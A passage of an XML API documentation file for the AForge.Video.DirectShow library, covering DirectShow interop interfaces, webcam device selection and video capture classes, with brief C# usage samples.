name=\"F:AForge.Video.DirectShow.Internals.CAUUID.pElems\">\n            <summary>\n            Pointer to an array of UUID values, each of which specifies UUID.\n            </summary>\n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.CAUUID.ToGuidArray\">\n            <summary>\n            Performs manual marshaling of <b>pElems</b> to retrieve an array of Guid objects.\n            </summary>\n            \n            <returns>A managed representation of <b>pElems</b>.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.DsEvCode\">\n            <summary>\n            Enumeration of DirectShow event codes.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.FilterState\">\n            <summary>\n            Specifies a filter's state or the state of the filter graph.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.FilterState.State_Stopped\">\n            <summary>\n            Stopped. The filter is not processing data.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.FilterState.State_Paused\">\n            <summary>\n            Paused. The filter is processing data, but not rendering it.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.FilterState.State_Running\">\n            <summary>\n            Running. The filter is processing and rendering data.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.ISampleGrabber\">\n            <summary>\n            The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve\n            individual media samples as they move through the filter graph.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ISampleGrabber.SetOneShot(System.Boolean)\">\n            <summary>\n            Specifies whether the filter should stop the graph after receiving one sample.\n            </summary>\n            \n            <param name=\"oneShot\">Boolean value specifying whether the filter should stop the graph after receiving one sample.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ISampleGrabber.SetMediaType(AForge.Video.DirectShow.Internals.AMMediaType)\">\n            <summary>\n            Specifies the media type for the connection on the Sample Grabber's input pin.\n            </summary>\n            \n            <param name=\"mediaType\">Specifies the required media type.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ISampleGrabber.GetConnectedMediaType(AForge.Video.DirectShow.Internals.AMMediaType)\">\n            <summary>\n            Retrieves the media type for the connection on the Sample Grabber's input pin.\n            </summary>\n            \n            <param name=\"mediaType\"><see cref=\"T:AForge.Video.DirectShow.Internals.AMMediaType\"/> structure, which receives media type.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ISampleGrabber.SetBufferSamples(System.Boolean)\">\n            <summary>\n            Specifies whether to copy sample data into a buffer as it goes through the filter.\n            </summary>\n            \n            <param name=\"bufferThem\">Boolean value specifying whether to buffer sample data.\n            If <b>true</b>, the filter copies sample data into an internal buffer.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ISampleGrabber.GetCurrentBuffer(System.Int32@,System.IntPtr)\">\n            <summary>\n            Retrieves a copy of the sample that the filter received most recently.\n            </summary>\n            \n            <param name=\"bufferSize\">Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size.</param>\n            <param name=\"buffer\">Pointer to a buffer to receive a copy of the sample, or NULL.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ISampleGrabber.GetCurrentSample(System.IntPtr)\">\n            <summary>\n            Not currently implemented.\n            </summary>\n            \n            <param name=\"sample\"></param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ISampleGrabber.SetCallback(AForge.Video.DirectShow.Internals.ISampleGrabberCB,System.Int32)\">\n            <summary>\n            Specifies a callback method to call on incoming samples.\n            </summary>\n            \n            <param name=\"callback\"><see cref=\"T:AForge.Video.DirectShow.Internals.ISampleGrabberCB\"/> interface containing the callback method, or NULL to cancel the callback.</param>\n            <param name=\"whichMethodToCallback\">Index specifying the callback method.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.ICaptureGraphBuilder2\">\n            <summary>\n            This interface builds capture graphs and other custom filter graphs. \n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ICaptureGraphBuilder2.SetFiltergraph(AForge.Video.DirectShow.Internals.IGraphBuilder)\">\n            <summary>\n            Specify filter graph for the capture graph builder to use.\n            </summary>\n            \n            <param name=\"graphBuilder\">Filter graph's interface.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ICaptureGraphBuilder2.GetFiltergraph(AForge.Video.DirectShow.Internals.IGraphBuilder@)\">\n            <summary>\n            Retrieve the filter graph that the builder is using.\n            </summary>\n            \n            <param name=\"graphBuilder\">Filter graph's interface.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ICaptureGraphBuilder2.SetOutputFileName(System.Guid,System.String,AForge.Video.DirectShow.Internals.IBaseFilter@,System.IntPtr@)\">\n            <summary>\n            Create file writing section of the filter graph.\n            </summary>\n            \n            <param name=\"type\">GUID that represents either the media subtype of the output or the\n            class identifier (CLSID) of a multiplexer filter or file writer filter.</param>\n            <param name=\"fileName\">Output file name.</param>\n            <param name=\"baseFilter\">Receives the multiplexer's <see cref=\"T:AForge.Video.DirectShow.Internals.IBaseFilter\"/> interface.</param>\n            <param name=\"fileSinkFilter\">Receives the file writer's IFileSinkFilter interface. Can be NULL.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ICaptureGraphBuilder2.FindInterface(System.Guid,System.Guid,AForge.Video.DirectShow.Internals.IBaseFilter,System.Guid,System.Object@)\">\n            <summary>\n            Searche the graph for a specified interface, starting from a specified filter.\n            </summary>\n            \n            <param name=\"category\">GUID that specifies the search criteria.</param>\n            <param name=\"type\">GUID that specifies the major media type of an output pin, or NULL.</param>\n            <param name=\"baseFilter\"><see cref=\"T:AForge.Video.DirectShow.Internals.IBaseFilter\"/> interface of the filter. The method begins searching from this filter.</param>\n            <param name=\"interfaceID\">Interface identifier (IID) of the interface to locate.</param>\n            <param name=\"retInterface\">Receives found interface.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ICaptureGraphBuilder2.RenderStream(System.Guid,System.Guid,System.Object,AForge.Video.DirectShow.Internals.IBaseFilter,AForge.Video.DirectShow.Internals.IBaseFilter)\">\n            <summary>\n            Connect an output pin on a source filter to a rendering filter, optionally through a compression filter.\n            </summary>\n            \n            <param name=\"category\">Pin category.</param>\n            <param name=\"mediaType\">Major-type GUID that specifies the media type of the output pin.</param>\n            <param name=\"source\">Starting filter for the connection.</param>\n            <param name=\"compressor\">Interface of an intermediate filter, such as a compression filter. Can be NULL.</param>\n            <param name=\"renderer\">Sink filter, such as a renderer or mux filter.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ICaptureGraphBuilder2.ControlStream(System.Guid,System.Guid,AForge.Video.DirectShow.Internals.IBaseFilter,System.Int64,System.Int64,System.Int16,System.Int16)\">\n            <summary>\n            Set the start and stop times for one or more streams of captured data.\n            </summary>\n            \n            <param name=\"category\">Pin category.</param>\n            <param name=\"mediaType\">Major-type GUID that specifies the media type.</param>\n            <param name=\"filter\"><see cref=\"T:AForge.Video.DirectShow.Internals.IBaseFilter\"/> interface that specifies which filter to control.</param>\n            <param name=\"start\">Start time.</param>\n            <param name=\"stop\">Stop time.</param>\n            <param name=\"startCookie\">Value that is sent as the second parameter of the\n            EC_STREAM_CONTROL_STARTED event notification.</param>\n            <param name=\"stopCookie\">Value that is sent as the second parameter of the\n            EC_STREAM_CONTROL_STOPPED event notification.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ICaptureGraphBuilder2.AllocCapFile(System.String,System.Int64)\">\n            <summary>\n            Preallocate a capture file to a specified size.\n            </summary>\n            \n            <param name=\"fileName\">File name to create or resize.</param>\n            <param name=\"size\">Size of the file to allocate, in bytes.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ICaptureGraphBuilder2.CopyCaptureFile(System.String,System.String,System.Boolean,System.IntPtr)\">\n            <summary>\n            Copy the valid media data from a capture file.\n            </summary>\n            \n            <param name=\"oldFileName\">Old file name.</param>\n            <param name=\"newFileName\">New file name.</param>\n            <param name=\"allowEscAbort\">Boolean value that specifies whether pressing the ESC key cancels the copy operation.</param>\n            <param name=\"callback\">IAMCopyCaptureFileProgress interface to display progress information, or NULL.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ICaptureGraphBuilder2.FindPin(System.Object,AForge.Video.DirectShow.Internals.PinDirection,System.Guid,System.Guid,System.Boolean,System.Int32,AForge.Video.DirectShow.Internals.IPin@)\">\n            <summary>\n            \n            </summary>\n            \n            <param name=\"source\">Interface on a filter, or to an interface on a pin.</param>\n            <param name=\"pinDirection\">Pin direction (input or output).</param>\n            <param name=\"category\">Pin category.</param>\n            <param name=\"mediaType\">Media type.</param>\n            <param name=\"unconnected\">Boolean value that specifies whether the pin must be unconnected.</param>\n            <param name=\"index\">Zero-based index of the pin to retrieve, from the set of matching pins.</param>\n            <param name=\"pin\">Interface of the matching pin.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IGraphBuilder\">\n            <summary>\n            This interface provides methods that enable an application to build a filter graph.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.AddFilter(AForge.Video.DirectShow.Internals.IBaseFilter,System.String)\">\n            <summary>\n            Adds a filter to the graph and gives it a name.\n            </summary>\n            \n            <param name=\"filter\">Filter to add to the graph.</param>\n            <param name=\"name\">Name of the filter.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.RemoveFilter(AForge.Video.DirectShow.Internals.IBaseFilter)\">\n            <summary>\n            Removes a filter from the graph.\n            </summary>\n            \n            <param name=\"filter\">Filter to be removed from the graph.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.EnumFilters(AForge.Video.DirectShow.Internals.IEnumFilters@)\">\n            <summary>\n            Provides an enumerator for all filters in the graph.\n            </summary>\n            \n            <param name=\"enumerator\">Filter enumerator.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.FindFilterByName(System.String,AForge.Video.DirectShow.Internals.IBaseFilter@)\">\n            <summary>\n            Finds a filter that was added with a specified name.\n            </summary>\n            \n            <param name=\"name\">Name of filter to search for.</param>\n            <param name=\"filter\">Interface of found filter.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.ConnectDirect(AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.AMMediaType)\">\n            <summary>\n            Connects two pins directly (without intervening filters).\n            </summary>\n            \n            <param name=\"pinOut\">Output pin.</param>\n            <param name=\"pinIn\">Input pin.</param>\n            <param name=\"mediaType\">Media type to use for the connection.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.Reconnect(AForge.Video.DirectShow.Internals.IPin)\">\n            <summary>\n            Breaks the existing pin connection and reconnects it to the same pin.\n            </summary>\n            \n            <param name=\"pin\">Pin to disconnect and reconnect.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.Disconnect(AForge.Video.DirectShow.Internals.IPin)\">\n            <summary>\n            Disconnects a specified pin.\n            </summary>\n            \n            <param name=\"pin\">Pin to disconnect.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.SetDefaultSyncSource\">\n            <summary>\n            Sets the reference clock to the default clock.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.Connect(AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.IPin)\">\n            <summary>\n            Connects two pins. If they will not connect directly, this method connects them with intervening transforms.\n            </summary>\n            \n            <param name=\"pinOut\">Output pin.</param>\n            <param name=\"pinIn\">Input pin.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.Render(AForge.Video.DirectShow.Internals.IPin)\">\n            <summary>\n            Adds a chain of filters to a specified output pin to render it.\n            </summary>\n            \n            <param name=\"pinOut\">Output pin.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.RenderFile(System.String,System.String)\">\n            <summary>\n            Builds a filter graph that renders the specified file.\n            </summary>\n            \n            <param name=\"file\">Specifies a string that contains file name or device moniker.</param>\n            <param name=\"playList\">Reserved.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.AddSourceFilter(System.String,System.String,AForge.Video.DirectShow.Internals.IBaseFilter@)\">\n            <summary>\n            Adds a source filter to the filter graph for a specific file.\n            </summary>\n            \n            <param name=\"fileName\">Specifies the name of the file to load.</param>\n            <param name=\"filterName\">Specifies a name for the source filter.</param>\n            <param name=\"filter\">Variable that receives the interface of the source filter.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.SetLogFile(System.IntPtr)\">\n            <summary>\n            Sets the file for logging actions taken when attempting to perform an operation.\n            </summary>\n            \n            <param name=\"hFile\">Handle to the log file.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.Abort\">\n            <summary>\n            Requests that the graph builder return as soon as possible from its current task.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IGraphBuilder.ShouldOperationContinue\">\n            <summary>\n            Queries whether the current operation should continue.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.ISampleGrabberCB\">\n            <summary>\n            The interface provides callback methods for the <see cref=\"M:AForge.Video.DirectShow.Internals.ISampleGrabber.SetCallback(AForge.Video.DirectShow.Internals.ISampleGrabberCB,System.Int32)\"/> method.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ISampleGrabberCB.SampleCB(System.Double,System.IntPtr)\">\n            <summary>\n            Callback method that receives a pointer to the media sample.\n            </summary>\n            \n            <param name=\"sampleTime\">Starting time of the sample, in seconds.</param>\n            <param name=\"sample\">Pointer to the sample's <b>IMediaSample</b> interface.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ISampleGrabberCB.BufferCB(System.Double,System.IntPtr,System.Int32)\">\n            <summary>\n            Callback method that receives a pointer to the sample bufferю\n            </summary>\n            \n            <param name=\"sampleTime\">Starting time of the sample, in seconds.</param>\n            <param name=\"buffer\">Pointer to a buffer that contains the sample data.</param>\n            <param name=\"bufferLen\">Length of the buffer pointed to by <b>buffer</b>, in bytes</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.VideoCaptureDeviceForm\">\n            <summary>\n            Local video device selection form.\n            </summary>\n            \n            <remarks><para>The form provides a standard way of selecting local video\n            device (USB web camera, capture board, etc. - anything supporting DirectShow\n            interface), which can be reused across applications. It allows selecting video\n            device, video size and snapshots size (if device supports snapshots and\n            <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDeviceForm.ConfigureSnapshots\">user needs them</see>).</para>\n            \n            <para><img src=\"img/video/VideoCaptureDeviceForm.png\" width=\"478\" height=\"205\"/></para>\n            </remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.VideoCaptureDeviceForm.components\">\n            <summary>\n            Required designer variable.\n            </summary>\n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDeviceForm.Dispose(System.Boolean)\">\n            <summary>\n            Clean up any resources being used.\n            </summary>\n            <param name=\"disposing\">true if managed resources should be disposed; otherwise, false.</param>\n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDeviceForm.InitializeComponent\">\n            <summary>\n            Required method for Designer support - do not modify\n            the contents of this method with the code editor.\n            </summary>\n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDeviceForm.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.DirectShow.VideoCaptureDeviceForm\"/> class.\n            </summary>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDeviceForm.ConfigureSnapshots\">\n            <summary>\n            Specifies if snapshot configuration should be done or not.\n            </summary>\n            \n            <remarks><para>The property specifies if the dialog form should\n            allow configuration of snapshot sizes (if selected video source supports\n            snapshots). If the property is set to <see langword=\"true\"/>, then\n            the form will provide additional combo box enumerating supported\n            snapshot sizes. Otherwise the combo boxes will be hidden.\n            </para>\n            \n            <para>If the property is set to <see langword=\"true\"/> and selected\n            device supports snapshots, then <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.ProvideSnapshots\"/>\n            property of the <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDeviceForm.VideoDevice\">configured device</see> is set to\n            <see langword=\"true\"/>.</para>\n            \n            <para>Default value of the property is set to <see langword=\"false\"/>.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDeviceForm.VideoDevice\">\n            <summary>\n            Provides configured video device.\n            </summary>\n            \n            <remarks><para>The property provides configured video device if user confirmed\n            the dialog using \"OK\" button. If user canceled the dialog, the property is\n            set to <see langword=\"null\"/>.</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDeviceForm.VideoDeviceMoniker\">\n            <summary>\n            Moniker string of the selected video device.\n            </summary>\n            \n            <remarks><para>The property allows to get moniker string of the selected device\n            on form completion or set video device which should be selected by default on\n            form loading.</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDeviceForm.CaptureSize\">\n            <summary>\n            Video frame size of the selected device.\n            </summary>\n            \n            <remarks><para>The property allows to get video size of the selected device\n            on form completion or set the size to be selected by default on form loading.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDeviceForm.SnapshotSize\">\n            <summary>\n            Snapshot frame size of the selected device.\n            </summary>\n            \n            <remarks><para>The property allows to get snapshot size of the selected device\n            on form completion or set the size to be selected by default on form loading\n            (if <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDeviceForm.ConfigureSnapshots\"/> property is set <see langword=\"true\"/>).</para>\n            </remarks>\n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDeviceForm.VideoInput\">\n            <summary>\n            Video input to use with video capture card.\n            </summary>\n            \n            <remarks><para>The property allows to get video input of the selected device\n            on form completion or set it to be selected by default on form loading.</para></remarks>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.Tools\">\n            <summary>\n            Some miscellaneous functions.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.Tools.GetPin(AForge.Video.DirectShow.Internals.IBaseFilter,AForge.Video.DirectShow.Internals.PinDirection,System.Int32)\">\n            <summary>\n            Get filter's pin.\n            </summary>\n            \n            <param name=\"filter\">Filter to get pin of.</param>\n            <param name=\"dir\">Pin's direction.</param>\n            <param name=\"num\">Pin's number.</param>\n            \n            <returns>Returns filter's pin.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.Tools.GetInPin(AForge.Video.DirectShow.Internals.IBaseFilter,System.Int32)\">\n            <summary>\n            Get filter's input pin.\n            </summary>\n            \n            <param name=\"filter\">Filter to get pin of.</param>\n            <param name=\"num\">Pin's number.</param>\n            \n            <returns>Returns filter's pin.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.Tools.GetOutPin(AForge.Video.DirectShow.Internals.IBaseFilter,System.Int32)\">\n            <summary>\n            Get filter's output pin.\n            </summary>\n            \n            <param name=\"filter\">Filter to get pin of.</param>\n            <param name=\"num\">Pin's number.</param>\n            \n            <returns>Returns filter's pin.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.ISpecifyPropertyPages\">\n            <summary>\n            The interface indicates that an object supports property pages.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ISpecifyPropertyPages.GetPages(AForge.Video.DirectShow.Internals.CAUUID@)\">\n            <summary>\n            Fills a counted array of GUID values where each GUID specifies the\n            CLSID of each property page that can be displayed in the property\n            sheet for this object.\n            </summary>\n            \n            <param name=\"pPages\">Pointer to a CAUUID structure that must be initialized\n            and filled before returning.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IEnumPins\">\n            <summary>\n            Enumerates pins on a filter.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IEnumPins.Next(System.Int32,AForge.Video.DirectShow.Internals.IPin[],System.Int32@)\">\n            <summary>\n            Retrieves a specified number of pins.\n            </summary>\n            \n            <param name=\"cPins\">Number of pins to retrieve.</param>\n            <param name=\"pins\">Array of size <b>cPins</b> that is filled with <b>IPin</b> pointers.</param>\n            <param name=\"pinsFetched\">Receives the number of pins retrieved.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IEnumPins.Skip(System.Int32)\">\n            <summary>\n            Skips a specified number of pins in the enumeration sequence.\n            </summary>\n            \n            <param name=\"cPins\">Number of pins to skip.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IEnumPins.Reset\">\n            <summary>\n            Resets the enumeration sequence to the beginning.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IEnumPins.Clone(AForge.Video.DirectShow.Internals.IEnumPins@)\">\n            <summary>\n            Makes a copy of the enumerator with the same enumeration state. \n            </summary>\n            \n            <param name=\"enumPins\">Duplicate of the enumerator.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IAMStreamConfig\">\n            <summary>\n            This interface sets the output format on certain capture and compression filters,\n            for both audio and video.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMStreamConfig.SetFormat(AForge.Video.DirectShow.Internals.AMMediaType)\">\n            <summary>\n            Set the output format on the pin.\n            </summary>\n            \n            <param name=\"mediaType\">Media type to set.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMStreamConfig.GetFormat(AForge.Video.DirectShow.Internals.AMMediaType@)\">\n            <summary>\n            Retrieves the audio or video stream's format.\n            </summary>\n            \n            <param name=\"mediaType\">Retrieved media type.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMStreamConfig.GetNumberOfCapabilities(System.Int32@,System.Int32@)\">\n            <summary>\n            Retrieve the number of format capabilities that this pin supports.\n            </summary>\n            \n            <param name=\"count\">Variable that receives the number of format capabilities.</param>\n            <param name=\"size\">Variable that receives the size of the configuration structure in bytes.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMStreamConfig.GetStreamCaps(System.Int32,AForge.Video.DirectShow.Internals.AMMediaType@,AForge.Video.DirectShow.Internals.VideoStreamConfigCaps)\">\n            <summary>\n            Retrieve a set of format capabilities.\n            </summary>\n            \n            <param name=\"index\">Specifies the format capability to retrieve, indexed from zero.</param>\n            <param name=\"mediaType\">Retrieved media type.</param>\n            <param name=\"streamConfigCaps\">Byte array, which receives information about capabilities.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.FilterInfoCollection\">\n            <summary>\n            Collection of filters' information objects.\n            </summary>\n            \n            <remarks><para>The class allows to enumerate DirectShow filters of specified category. For\n            a list of categories see <see cref=\"T:AForge.Video.DirectShow.FilterCategory\"/>.</para>\n            \n            <para>Sample usage:</para>\n            <code>\n            // enumerate video devices\n            videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice );\n            // list devices\n            foreach ( FilterInfo device in videoDevices )\n            {\n                // ...\n            }\n            </code>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FilterInfoCollection.#ctor(System.Guid)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.DirectShow.FilterInfoCollection\"/> class.\n            </summary>\n            \n            <param name=\"category\">Guid of DirectShow filter category. See <see cref=\"T:AForge.Video.DirectShow.FilterCategory\"/>.</param>\n            \n            <remarks>Build collection of filters' information objects for the\n            specified filter category.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.FilterInfoCollection.Item(System.Int32)\">\n            <summary>\n            Get filter information object.\n            </summary>\n            \n            <param name=\"index\">Index of filter information object to retrieve.</param>\n            \n            <returns>Filter information object.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.VideoCaptureDevice\">\n            <summary>\n            Video source for local video capture device (for example USB webcam).\n            </summary>\n            \n            <remarks><para>This video source class captures video data from local video capture device,\n            like USB web camera (or internal), frame grabber, capture board - anything which\n            supports <b>DirectShow</b> interface. For devices which has a shutter button or\n            support external software triggering, the class also allows to do snapshots. Both\n            video size and snapshot size can be configured.</para>\n            \n            <para>Sample usage:</para>\n            <code>\n            // enumerate video devices\n            videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice );\n            // create video source\n            VideoCaptureDevice videoSource = new VideoCaptureDevice( videoDevices[0].MonikerString );\n            // set NewFrame event handler\n            videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame );\n            // start the video source\n            videoSource.Start( );\n            // ...\n            // signal to stop when you no longer need capturing\n            videoSource.SignalToStop( );\n            // ...\n            \n            private void video_NewFrame( object sender, NewFrameEventArgs eventArgs )\n            {\n                // get new frame\n                Bitmap bitmap = eventArgs.Frame;\n                // process the frame\n            }\n            </code>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.DirectShow.VideoCaptureDevice\"/> class.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.DirectShow.VideoCaptureDevice\"/> class.\n            </summary>\n            \n            <param name=\"deviceMoniker\">Moniker string of video capture device.</param>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.Start\">\n            <summary>\n            Start video source.\n            </summary>\n            \n            <remarks>Starts video source and return execution to caller. Video source\n            object creates background thread and notifies about new frames with the\n            help of <see cref=\"E:AForge.Video.DirectShow.VideoCaptureDevice.NewFrame\"/> event.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.SignalToStop\">\n            <summary>\n            Signal video source to stop its work.\n            </summary>\n            \n            <remarks>Signals video source to stop its background thread, stop to\n            provide new frames and free resources.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.WaitForStop\">\n            <summary>\n            Wait for video source has stopped.\n            </summary>\n            \n            <remarks>Waits for source stopping after it was signalled to stop using\n            <see cref=\"M:AForge.Video.DirectShow.VideoCaptureDevice.SignalToStop\"/> method.</remarks>\n            \n        </member>\n        <member 